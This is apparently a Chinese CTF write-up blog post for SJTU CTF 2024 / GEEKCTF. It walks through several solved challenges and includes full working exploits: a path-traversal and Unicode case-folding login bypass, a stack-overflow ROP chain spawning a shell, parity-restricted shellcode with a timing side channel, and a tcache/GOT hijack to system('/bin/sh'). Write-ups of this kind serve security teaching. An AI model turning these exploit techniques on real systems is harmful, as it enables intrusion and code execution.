抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

前言

记录一下打CTF以来做出题目最多的一次。这次的题目是 SJTU CTF 2024 校内赛和第一届 GEEKCTF 共用的。所有题目都可以在GEEKCTF官网找到,由于我是在校内平台做的,flag可能会略有不同,但是解题的方法应该是一样的。

WEB

Secrets

本题的漏洞点是任意文件读取+特殊字符绕过upper/lower。

攻击流程如下:

选一个主题后,在登录页面抓包,发现有一个redirectCustomAsset路由

1
2
3
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: asset=assets/css/pico.cyan.min.css

看上去是用来读取不同主题的css文件,但是是相对于网站根目录的相对路径。因此猜测可以读取网站目录下的所有文件。

在登陆页面查看网页源代码,发现body后面有一串看不懂的编码,放到cyberchef里一个个试发现是Base85:

解码结果

其中比较重要的是app.py和populate.py。

Cookie改成asset=app.py会回显hacker,改成asset=assets/css/../../app.py即可得到网站的源代码。

app.py里面硬编码了用户名和密码:

1
2
3
4
5
6
7
def isEqual(a, b):
return a.lower() != b.lower() and a.upper() == b.upper()
……
if isEqual(username, "alice") and isEqual(password, "start2024"):
session["logged_in"] = True
session["role"] = "user"
return redirect("/")

但是isEqual要求用户名和密码都需要满足小写化后不等于硬编码的用户名/密码,大写化后又要等于。第一眼看懵了,小写不相等但是大写相等?问下claude:

claude结果

进一步搜索发现upper对unicode特殊字符的处理有些问题,用unicode包裹起来才会得到正确的大写。不过claude给的字符似乎不对,直接用Python遍历unicode字符好了:

1
2
3
4
5
6
7
8
9
10
11
12
def find_replacement_char(ch):
# 遍历 Unicode 字符范围 0x0000 到 0x10FFFF
for i in range(0x110000):
try:
char = chr(i)
if char.upper() == ch.upper() and char!=ch and char!=ch.upper():
print(char)
except ValueError:
# 某些 Unicode 码点无法转换为有效字符,跳过
pass

find_replacement_char('i')

只找到了i的替代字符ıs的替代字符ſ。输入用户名alıce,密码ſtart2024,登录成功!

再看看populate.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os

from app import Notes, app, db

with app.app_context():
db.create_all()
if not Notes.query.filter_by(type="notes").first():
db.session.add(Notes(title="Hello, world!", message="This is an example note."))
db.session.add(
Notes(
title="Where's flag?",
message="Flag is waiting for you inside secrets.",
)
)
if not Notes.query.filter_by(type="secrets").first():
db.session.add(
Notes(
title="Secret flag",
message=os.environ.get("FLAG", "fake{flag}"),
type="secrets",
)
)
db.session.commit()

也就是说“type=secrets”会给我们flag,但是在app.py里还有过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
type = request.args.get("type", "notes").strip()
if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get(
"role"
) != "admin":
return render_template(
"index.html",
notes=[],
error="You are not admin. Only admin can view secre<u>ts</u>.",
)
q = db.session.query(Notes)
q = q.filter(Notes.type == type)
notes = q.all()
return render_template("index.html", notes=notes)

我们需要让and前面的逻辑表达式为否才能够不返回错误、获得flag。

因此要想查看flag,type的参数需要是secrets的变体,页面上给secrets的ts划了下划线,猜测是提示将这两个字符换成特殊字符。

打开Burp的intruder,payload选用simple list,从网上下载了一个特殊字符的列表来爆破ts

最后ts替换成ƾ时,response的length不一样,点进去看详情就能看到flag。

intruder

flag:

1
0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}

PWN

Memo0

本题的漏洞点是整数溢出和栈溢出。但是用不到,只需要逆向出密码。

攻击流程如下:

首先要输入密码登录,密码通过一个加密算法后与J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd==对比,长得很像base64,但是用base64解码出来不对。把sub_12E9的加密函数丢给claude,直接逆出了密码。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def decode(encoded_data):
# 计算解码后的数据长度
length = len(encoded_data)
decoded_length = (length * 3) // 4
if encoded_data[-1] == '=':
decoded_length -= 1
if encoded_data[-2] == '=':
decoded_length -= 1

# 创建解码后的数据缓冲区
decoded = bytearray(decoded_length)

# 标准 Base64 字符映射表
base64_chars = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"

# 遍历编码数据并解码
for i in range(0, length, 4):
value = 0
for j in range(4):
if i + j < length:
char = encoded_data[i + j]
if char == '=':
value <<= 6 * (3 - j)
else:
value |= base64_chars.index(char) << 6 * (3 - j)

# 将 24 位值拆分成 3 个字节并写入解码后的数据
decoded_pos = i // 4 * 3
decoded[decoded_pos] = (value >> 16) & 0xFF
if decoded_pos + 1 < decoded_length:
decoded[decoded_pos + 1] = (value >> 8) & 0xFF
if decoded_pos + 2 < decoded_length:
decoded[decoded_pos + 2] = value & 0xFF

return decoded.decode('latin-1')

print(decode('J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd=='))
# CTF_is_interesting_isn0t_itÀ

但是好像有点问题,将À改成?就对了。

一开始没有在本地新建flag文件,ida里面还把win函数看漏了。。。导致还在继续用栈溢出去劫持control flow调用win,其实逆向出密码就可以得到flag。

完整exp:

1
2
3
4
5
nc 111.186.57.85 40310
===================Memo Login===================
Please enter your password: CTF_is_interesting_isn0t_it?
Login Success!
0ops{U_r_th3_ma5ter_0f_ba5e64}

flag:

1
0ops{U_r_th3_ma5ter_0f_ba5e64}

Memo1

本题的漏洞点是整数溢出和栈溢出。

攻击流程如下:

首先checksec:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'

保护全开。然后看main函数,发现供用户输入的字符串在栈上,大小是264字节,乍一看用户也只能输入0x100即256字节,很安全。但是在实现edit功能的函数里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
lea     rax, aLld       ; "%lld"
mov rdi, rax
mov eax, 0
call ___isoc99_scanf
mov edx, [rbp+var_1C]
mov rax, [rbp+var_10]
cmp rdx, rax
jle short loc_1873
mov rax, [rbp+var_10]
mov edx, eax
mov rax, [rbp+var_18]
mov esi, edx
mov rdi, rax
call sub_170E

可以发现,允许用户输入的是有符号数,而比较的时候却是根据无符号数进行比较,然后在读取用户输入的时候又使用其低32位作为允许输入的长度,因此会出现类似0xffffffff00000109 < 0x8的情况,却允许用户输入0x109个字节。

为了能够输入我们想要的长度,需要将0xffffffff00000109这样的数转换成相应的负数:

1
2
def convert_to_signed(num):
return (-1)*(0xffffffff-num)-1

至此,我们总结一下能够利用的漏洞:

可以利用整数溢出在栈上写非常长的内容,因此可以利用栈溢出劫持程序控制流。

但是由于保护全开且没有win函数,因此我们需要先leak canary,然后leak libc,最后在栈上布局 ROP chain 来 get shell。

我们先在sub_170e函数(读取用户输入的函数)处下一个断点,观察栈的布局。

stack

发现canary距离用户输入的起始位置为0x108字节,因此我们需要覆盖用户输入的前0x109字节为非0字符,然后调用show就可以连带canary一起输出出来。而读取用户输入的sub_170e函数是一个带0截断的函数:当我们输入\n会被替换成\x00,如果长度参数正好等于我们输入的长度,就不会添0。因此我们需要让其长度参数恰好等于0x109,也就是在调用edit时,输入的长度为convert_to_signed(0x109)。然后输入0x109个A,再调用show,最后7位就是canary的高7位。

用户输入的起始位置加上0x118个字节是libc的地址,与基地址的偏移是0x29d90,使用和leak canary几乎一样的方法可以leak libc。

最后就是在栈上布局 rop chain 了。因为有libc,因此可以直接用libc的gadgets,使用pwntools构造一个execve(‘/bin/sh’,0,0)的Rop,在栈上canary的位置填入canary,返回地址处布局rop chain,即可得到shell。

1
2
3
4
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

binary = context.binary = ELF('./memo1')
libc = binary.libc

# p = process(binary.path)
p = remote('111.186.57.85', 40311)

password = b'CTF_is_interesting_isn0t_it?'
p.recvuntil(b'Please enter your password: ')
p.sendline(password)
# then it is a overflow

def add(payload):
p.sendlineafter(b'Your choice:', b'1')
p.sendlineafter(b'What do you want to write in the memo:', payload)

def show():
p.sendlineafter(b'Your choice:', b'2')
p.recvuntil(b'Content:\n')
return p.recvline()[:-1]

def edit(length, payload):
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b'How many characters do you want to change:', str(length).encode())
p.send(payload)

def get_flag():
p.sendlineafter(b'Your choice:', b'114514')
p.interactive()

# beause there is a jle instruction, so we can use negative number to bypass it
def convert_to_signed(num):
return (-1)*(0xffffffff-num)-1

main_offset = 0x1938
libc_offset = 0x29d90

### first leak canary
add(b'A' * 0x8)
edit(convert_to_signed(0x109), b'A'*0x109)
response = show()
canary = response[0x109:0x109+7].rjust(8, b'\x00')
canary = u64(canary)
info(f'[LEAK]: canary: {hex(canary)}')

### leak libc address
payload = b'A' * 0x118
edit(convert_to_signed(len(payload)), payload)
response = show()
libc_leak = response[0x118:0x118+6].ljust(8, b'\x00')
libc_leak = u64(libc_leak)
info(f'[LEAK]: libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'[LEAK & CALC]: libc_base: {hex(libc.address)}')

### leak pie address
# payload = b'A' * 0x128
# edit(convert_to_signed(len(payload)), payload)
# response = show()
# main_addr = response[0x128:0x128+6].ljust(8, b'\x00')
# main_addr = u64(main_addr)
# elf.address = main_addr - main_offset
# info(f'[LEAK & CALC]: pie_base: {hex(elf.address)}')

# gdb.attach(p, '''
# ''')

### no win_func now, wo we use rop
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

get_flag()

flag:

1
0ops{5t4ck_0v3rfl0w_1s_d4ng3r0u5_233}

Shellcode

本题的考察点正如题名是shellcode,但是seccomp只允许了open和read,没有write,因此需要利用循环来实现类似侧信道攻击。另外,对shellcode的字节做了限制:

  1. 偶数索引处的字节必须是偶数,奇数索引处的字节必须是奇数

    1
    2
    3
    4
    5
    for ( i = 0; i < v5; ++i )
    {
    if ( (char)(*((char *)buf + i) % 2) != i % 2 )
    return 0xFFFFFFFFLL;
    }
  2. 大于0x80的奇数不能用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mov     rax, [rbp+buf]
    add rax, rdx
    movzx eax, byte ptr [rax]
    mov edx, eax
    sar dl, 7
    shr dl, 7
    add eax, edx
    and eax, 1
    sub eax, edx
    movsx ecx, al

    这段实际上是将shellcode的字节作为一字节的有符号数来对2取模,因此类似于0x81这样的大于0x80的奇数模2后的结果是-1而不是1,但是对索引的取模是看作无符号数,因此奇数索引处取模是1而不等于-1。这也就代表着大于0x80的奇数不能出现在shellcode中,这点非常坑。。。比前一点限制花了我更多时间。因为这个限制相当于把一般的jmp长跳转、call、ret、syscall全都禁止掉了。

    思路:

    由于我们还要进行侧信道攻击,不可能每爆破一个字节都构造一个能满足要求的shellcode,因此考虑分两个阶段:

    • 阶段1:调用read函数,rdi设置一阶段shellcode的起始位置,并将返回地址设置为这个起始地址
    • 阶段2:输入二阶段进行侧信道攻击的shellcode,read将返回到我们输入的这个shellcode

    每个二阶段shellcode爆破一个字节:将[flag_addr+i]与每个可见字符作比较,相等时进入死循环,通过对时间的测量就能知道flag的每个字节是哪个字符值。

    开凑:

    先凑一阶段的shellcode。由于限制非常多,因此考虑尽量利用栈上已有的内容和寄存器中已有的内容(pop和push某个寄存器都是一字节的指令,不同寄存器奇偶性质不同,很容易满足限制的要求)。

    stack

    stack

    rsp的最顶端是返回地址即main+0xc4,我们将这个地址pop到rax,然后对rax进行xor操作,可以得到read@plt,方便后续调用read库函数。有了这个思路,我们就需要布置好read的参数。rdi现在恰好是0,符合我们的要求,不去修改。rsi也是输入的起始地址不需要修改。rdx需要修改为我们想要输入的长度,经过观察rsp+0x8处的低8位正好是我们一阶段输入的长度,因此我们只需要将rsp+0x8的低8位值放到rdx中去即可:

    1
    2
    3
    4
    5
    6
    7
    8
    pop rax
    pop rbx
    nop
    xor edx, ebx
    pop rbx
    xor ax, 0x03e6
    xor ax, 0x100
    sub al, 1

    这样就已经将read@plt放到了rax里面,并布置好了rdi, rsi 和 rdx。接下来的问题就是如何调用rax中存储的函数。已知jmp的长跳转、call、ret、syscall都不符合这道题的过滤要求。怎么办?想起之前用ROPgadget的时候看到ret{num}这种形式的指令,去搜了一下,发现是ret之后,令rsp增加num字节。字节码是:b'\xc2\x01\x00'正好满足要求。但是又出现一个新的问题:

    栈指针增长奇数个字节后,我们就无法控制返回地址了。

    因此想到,如果在ret {num}之前先让栈增长或者减少奇数字节,而且这个命令能够通过过滤,就能解决这个问题。搜索发现有一个enter指令:

    enter指令的完整格式是:

    1
    enter bytes, level

    其中:

    1. bytes是一个立即数,表示当前函数需要在栈上分配的空间大小(以字节为单位)。这个值通常就是函数内局部变量所需的大小。
    2. level是另一个立即数,表示嵌套函数调用的层数。通常这个值为 0。

    我这里用一个enter 0x1, 0x3,level是我随便指定的,在gdb里面看效果:

    before_enter

    after_enter
    栈指针减少了0x21字节,那么我们再用ret 9就可以让栈重新和8字节对齐,在那之前先把read@plt的地址push入栈,ret的时候才能返回到read,等后面栈指针增加和8字节对齐的时候可以返回到我们在enter之前push入栈的shellcode地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    nop
    push rbx
    push rax
    push rbx
    push rax
    push rbx
    enter 0x1, 0x3
    nop
    pop rbx
    push rax
    push rbx
    nop
    pop rbx
    ret 0x0009
    pop rbx

    至此第一阶段就构造完成了,第二阶段的shellcode就是open(‘flag’, 0)然后read第i个索引处的字节,与各个可见字符进行比较,如果相等就死循环,通过时间判断是否命中,逐字节爆破到}为止,完整exp如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    # no write for us
    # defeat seccomp reference: https://tttang.com/archive/1447/#toc_wirte
    # by pass shellcode check reference:
    # - https://www.roderickchan.cn/zh-cn/2022-04-30-angstromctf-pwn/
    # - https://ctftime.org/writeup/33656
    # - https://hackmd.io/@DJRcJnpzRDK3J_8-dhv_dA/rycDEyFSq#parity
    # - https://www.aynakeya.com/ctf-writeup/2022/angstrom/pwn/parity/

    from pwn import *

    binary = context.binary = ELF('./shellcode')
    # context.log_level = 'critical'

    shellcode1_part1 = asm('''
    pop rax
    pop rbx
    nop
    xor edx, ebx
    pop rbx
    xor ax, 0x03e6
    xor ax, 0x100
    sub al, 1
    nop
    push rbx
    push rax
    push rbx
    push rax
    ''')

    shellcode1_part2 = asm('''
    push rbx
    enter 0x1, 0x3
    nop
    pop rbx
    push rax
    push rbx
    nop
    pop rbx
    ret 0x0009
    pop rbx
    ''')

    shellcode1 = shellcode1_part1 + shellcode1_part2
    lenth = len(shellcode1)
    padding_times = int((0x200 - lenth) / 2)
    padding = b'\x90\x61' * padding_times
    shellcode1 = shellcode1 + padding

    for i, c in enumerate(shellcode1):
    # if c >= 0b10000000:
    # log.info("bad byte %s at index %d" % (hex(c), i))
    # log.error(shellcode1)
    if i & 1 != c & 1:
    log.info("bad byte %s at index %d" % (hex(c), i))
    log.error(shellcode1)
    if c & 1 == 1 and c > 0x80:
    log.info("negative byte %s at index %d" % (hex(c), i))
    log.error(shellcode1)

    # we need brute force every byte of flag
    # the seach space is 0x20 ~ 0x7e
    search_space = [i for i in range(0x20, 0x7e)]

    flag_probable_len = 0x40
    flag = ''
    for i in range(flag_probable_len):
    for ch in search_space:
    # p = process(binary.path)
    p = remote('111.186.57.85',40245)
    p.recvuntil(b'Please input your shellcode: \n')
    ### stage1: call a read syscall to read shellcode
    p.send(shellcode1)
    ### stage2: fuck yeah! we can send shellcode without limitation now
    # but we have no write
    # so we have to use ways like side channel
    shellcode2 = asm(f'''
    lea rdi, [rip+flag]
    mov rsi, 0
    mov rax, 2
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 0
    syscall
    loop:
    xor rax, rax
    xor rbx, rbx
    mov al, byte ptr[rsp+{i}]
    mov bl, {ch}
    cmp al, bl
    je loop
    flag:
    .string "./flag"
    ''')
    shellcode2 += b'\x90' * (0x200 - len(shellcode2))
    p.send(shellcode2)
    # learned from changcheng cup...
    p.shutdown('send')

    # now if ch is the right byte, the program will be in a dead loop
    # otherwise the program will die
    sleep(1)
    # if p.poll() == None:
    # flag += chr(ch)
    # print("flag is now: ", flag)
    # p.close()
    # break
    # else:
    # p.close()
    # continue
    try:
    detection = p.fileno()
    p.recv(timeout=0.1)
    flag += chr(ch)
    print("flag is now: ", flag)
    p.close()
    break
    except:
    p.close()
    continue

    if flag[:-1] == '}':
    break

    print(flag)

    flag:

    1
    0ops{practice_handwrite_shellcode}

flat

本题的考察点是deflat去混淆和tcache劫持。

其实题目对deflat的提示很明显,但是我一开始没往这方面向,直到出flag才知道要用deflat,一开始是自己手动去混淆的:

先看明白了每种操作对应一个opcode,然后找==,然后根据i=xxxxx去找casexxxxx,有if的就猜测可能是对什么进行判断(比如索引、size),然后选一个i去找case……最后硬是把程序的主要逻辑逆向出来了:

  • 48879: 退出程序

  • 4112:堆块写,但是最后一位由程序置零(edit_0_end)

    e.g. edit_0_end(index, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0

  • 768: malloc

    e.g. malloc(index, size, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0

  • 2989: 堆块写(edit)

    e.g. edit(index, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度恰好等于size

  • 4919: free

    e.g.free(index)

    会检查0<=inex<31,检查address处是否已经为空,然后将对应address和size都置零。

  • 57005: 堆块读(puts)

    会对index所对应位置的size和address做非空检查,且0<=index<31,然后puts堆块内容

但是这里的0截断并没有off-by-null漏洞,在how2heap找了半天找不到利用方法。于是在gdb里先试着:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

p = binary.process()

def malloc(index, size, data):
p.sendline(b'768')
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.sendline(data)

def free(index):
p.sendline(b'4919')
p.sendline(str(index).encode())

def edit(index, data):
p.sendline(b'2989')
p.sendline(str(index).encode())
p.send(data)

def edit_0_end(index, data):
p.sendline(b'4112')
p.sendline(str(index).encode())
p.sendline(data)

def puts(index):
p.sendline(b'57005')
p.sendline(str(index).encode())
return p.recvline().strip()

malloc(0,0x100, b'a')
edit(0, cyclic(0x100))
# gdb.attach(p)
malloc(1,0x100, b'b')
edit(1, cyclic(0x100))

发现mallo个两次0x100大小的堆块程序就退出了,于是在第一次后面把gdb附上去:

PoC

十分离谱……我到现在也没弄明白这个漏洞是哪里来的。

换成0x80及以下似乎就没这种情况,0x90的时候链表有两个值,分别是我们输入的0x80处和0x88处,也就是说我们在0x80和0x88处写上合法的地址,下一次malloc相应大小的chunk就能控制我们输入的地址。

checksec一下:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'

那么我们现在需要做的就很清晰:

  1. leak libc
  2. got hijacking
  3. get shell

首先,准备好用于leak和劫持的堆块,以及写有/bin/sh的堆块;然后malloc一个可用大小为0x90的堆块,malloc一个可用大小为0x330(实际大小为0x340)的堆块并free掉,使得tcache的0x340大小链表有一项。然后往0x90大小的堆块里面填满heap_manager地址(也就是该程序用来管理堆块的区域起始地址)。这样当我们再malloc一个可用大小为0x330到0x338大小的堆块时,就会返回heap_manager的地址。我们往这里面填入0x1000和free_got的地址,这样程序自定义的堆管理器就会认为index0处之前malloc了一个可用大小为0x1000的堆块,且位于free_got。因此我们这时再puts(0)就不会报错,也就能够leak出libc中free的地址,也就知道了libc的基地址。然后利用这个基地址知道system的地址,往0写入这个地址,也就将free劫持到system。最后我们free(1),1是我们之前放/bin/sh的地方,此时执行system('/bin/sh'),得到shell。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

# p = binary.process()
p = remote('111.186.57.85', 40246)

def malloc(index, size, data):
p.sendline(b'768')
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.sendline(data)

def free(index):
p.sendline(b'4919')
p.sendline(str(index).encode())

def edit(index, data):
p.sendline(b'2989')
p.sendline(str(index).encode())
p.send(data)

def edit_0_end(index, data):
p.sendline(b'4112')
p.sendline(str(index).encode())
p.sendline(data)

def puts(index):
p.sendline(b'57005')
p.sendline(str(index).encode())
return p.recvline().strip()

free_got = binary.got['free']
heap_manager = 0x4060B0

# we will use this to get libc leak and control free_got
malloc(0,0x500, b'a')
malloc(1,0x20,b'/bin/sh\x00')
free(0)

# 2 is used to get control of tcache
malloc(2,0x90, b'b')
# 3 is used to make a tcache bin
malloc(3,0x330, b'c')
free(3)
gdb.attach(p)
edit(2,p64(heap_manager)*(0x90//8))
# now tcace bin is
# 0x340 [ 1]: 0x4060b0 ◂— 0x0
# 0x350 [ 0]: 0x4060b0 ◂— ...
payload=p64(0x1000)+p32(free_got)
# now we control the heap_manager
# we make index 0 's size 0x1000
# and we make index 1 's pointer to free_got
malloc(3,0x330,payload)
# this will puts what is on the free_got
response = puts(0)
libc_leak = response[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym['free']
info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}')
system = libc.sym['system']
# we overwrite free_got with system
edit_0_end(0,p64(system))
# 1's pointer point to /bin/sh
free(1)
p.interactive()

flag:

1
0ops{learning_deflat_trick_to_defeat_ollvm}

REVERSE

Peer-Trace

这道题的考察点是ptrace和strace的用法。

peer程序会调用puppet程序,并使用ptrace来在不同运行时刻监视peer程序并修改其内存/寄存器的值。

先从网上学习了下ptrace的用法,主要关注PTRACE_POKEDATA, PTRACE_SETREGS因为这两个会修改被监视子程序的内存/寄存器。

puppet程序的逻辑是读取一个输入,长度需要为48字节,然后逐字节与0x28异或,最后与ct区域的48字节做比较。

建议使用strace观察程序运行过程中ptrace相关内容:

1
strace ./peer

peer程序的主要逻辑可以通过观察PTRACE_POKEDATA, PTRACE_SETREGS和相应的ida伪代码得到:

  1. 对输入的48字节做下面的逻辑:

    • 分为8组,对每组:
    • 交换0,5
    • 交换1,7
    • 交换2,6
    • *((_BYTE *)v25 + j) -= j + i,其中j是组内索引,i是组号,v25是每组的起始地址
    • 交换3,4
  2. 在异或0x28后,劫持程序,对每个字节做如下修改:

    1
    2
    3
    4
    5
    6
    v25[0] = 0xA39C3E6994313F40LL;
    v25[1] = 0x17872470565B9B60LL;
    v25[2] = 0x11A918AABA97CA68LL;
    v25[3] = 0xB8F1B0AB9B3DD3B0LL;
    v25[4] = 0x488749FB6A1835E4LL;
    v25[5] = 0x82926F78FE98158LL;

    每个字节分别与peer中此时的v25中对应字节相加,舍去进位。

最后再与puppet程序中ct区域的48字节作比较,需要相等。整个过程都是相对简单的可逆过程,将算法反过来即可。完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158)
ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7)
# tmp1 is the bytearray after xored
tmp1 = bytearray()
# each byte in tmp is the result of ct[i] - v25[i]
for i in range(48):
if ct[i] < v25[i]:
tmp1.append(ct[i] + 256 - v25[i])
else:
tmp1.append(ct[i] - v25[i])
# tmp1 is the bytearray before xored with 0x28
for i in range(48):
tmp1[i] ^= 0x28
print(tmp1)

def reverse(cypher):
# group cypher into 8 bytes
cypher = [cypher[i:i+8] for i in range(0, len(cypher), 8)]
# for each group, we decrypt it
for i in range(len(cypher)):
# swap BYTE3 and BYTE4
tmp = cypher[i][3]
cypher[i][3] = cypher[i][4]
cypher[i][4] = tmp
for j in range(8):
cypher[i][j] += j + i*8
# swap BYTE2 and BYTE6
tmp = cypher[i][2]
cypher[i][2] = cypher[i][6]
cypher[i][6] = tmp
# swap BYTE1 and BYTE7
tmp = cypher[i][1]
cypher[i][1] = cypher[i][7]
cypher[i][7] = tmp
# swap BYTE0 and BYTE5
tmp = cypher[i][0]
cypher[i][0] = cypher[i][5]
cypher[i][5] = tmp

# get the result
result = b''
for i in range(len(cypher)):
result += bytes(cypher[i])
print(result)


reverse(tmp1)

flag:

1
0ops{tr@cE_traC1Ng_tRAc3d_TRaces_z2CcT8SjWre0oP}

MISC

QrCode2

本题考查的是二维码的结构和标准qrazybox的使用

之前在做hackergame还是geekgame的时候碰到一道华维码,是华容道和二维码还原的结合。题目没做出来,但是在群里看到个二维码仙人,整天在群里发他还原二维码的过程。这下真用上了,快说谢谢二维码仙人。

贴一个二维码仙人的二维码教程

要用到的工具是qrazybox

由于定位块缺失,我先直接根据图片把已知的黑色白色都填充上,然后一个一个试纠错等级,发现只有M0是符合的,然后用qrazybox的tools把padding bits补上:

复原

但是缺失的内容实在太多了,无论是直接提取还是用Reed-Solomon Decoder都得不到flag,但是通过Data Sequence Analysis可以看到message data有一个},而题目已经告诉我们这题的flag格式为flag{.*},根据二维码格式,我们将前5位message data修改位flag{,这时候再用Reed-Solomon Decoder已经可以得到flag了。

修改数据后的结果:

final

flag:

1
flag{D4+4_2e(0\/3R_v_!5_S0_3a5_v}

WhereIsMyFlag

本题考察的是视力和对数据的处理能力。

在github的commit记录最后可以看到:

1
import gzip; import base64; gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

运行这段代码发现处理后的数据还是1f8b开头,推断仍然是gzip。直接写到文件里去:

1
2
3
4
5
6
import gzip
import base64
